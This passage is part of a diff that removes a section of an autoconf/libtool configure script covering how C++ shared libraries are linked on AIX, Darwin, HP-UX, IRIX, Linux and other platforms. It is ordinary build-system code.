-if test "$GXX" = yes; then
- lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin'
-else
- lt_prog_compiler_no_builtin_flag_CXX=
-fi
-
-if test "$GXX" = yes; then
- # Set up default GNU C++ configuration
-
-
-@%:@ Check whether --with-gnu-ld was given.
-if test "${with_gnu_ld+set}" = set; then :
- withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes
-else
- with_gnu_ld=no
-fi
-
-ac_prog=ld
-if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [\\/]* | ?:[\\/]*)
- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
-fi
-if ${lt_cv_path_LD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LD" >&5
-$as_echo "$LD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
-if ${lt_cv_prog_gnu_ld+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
-$as_echo "$lt_cv_prog_gnu_ld" >&6; }
-with_gnu_ld=$lt_cv_prog_gnu_ld
-
-
-
- # Check if GNU C++ uses GNU ld as the underlying linker, since the
- # archiving commands below assume that GNU ld is being used.
- if test "$with_gnu_ld" = yes; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # If archive_cmds runs LD, not CC, wlarc should be empty
- # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
- # investigate it a little bit more. (MM)
- wlarc='${wl}'
-
- # ancient GNU ld didn't support --whole-archive et. al.
- if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
- grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_CXX=
- fi
- else
- with_gnu_ld=no
- wlarc=
-
- # A generic and very simple default shared library creation
- # command for GNU C++ for the case where it uses the native
- # linker, instead of GNU ld. If possible, this setting should
- # overridden to take advantage of the native linker features on
- # the platform it is being used on.
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- fi
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
-else
- GXX=no
- with_gnu_ld=no
- wlarc=
-fi
-
-# PORTME: fill in a description of your system's C++ link characteristics
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-ld_shlibs_CXX=yes
-case $host_os in
- aix3*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- case $ld_flag in
- *-brtl*)
- aix_use_runtimelinking=yes
- break
- ;;
- esac
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_CXX=''
- hardcode_direct_CXX=yes
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_CXX=yes
- else
- # We have old collect2
- hardcode_direct_CXX=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_CXX=yes
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- hardcode_libdir_separator_CXX=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_CXX=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_CXX="-z nodefs"
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_CXX=' ${wl}-bernotok'
- allow_undefined_flag_CXX=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_CXX='$convenience'
- archive_cmds_need_lc_CXX=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_CXX=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_CXX='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- allow_undefined_flag_CXX=unsupported
- always_export_symbols_CXX=no
- enable_shared_with_static_runtimes_CXX=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_direct_CXX=no
- hardcode_automatic_CXX=yes
- hardcode_shlibpath_var_CXX=unsupported
- whole_archive_flag_spec_CXX=''
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_CXX=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- freebsd[12]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- ld_shlibs_CXX=no
- ;;
- freebsd-elf*)
- archive_cmds_need_lc_CXX=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- ld_shlibs_CXX=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- export_dynamic_flag_spec_CXX='${wl}-E'
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_CXX='+b $libdir'
- ;;
- *)
- export_dynamic_flag_spec_CXX='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- ;;
- *)
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- interix3*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_CXX='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_CXX='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
- ;;
- esac
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- archive_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
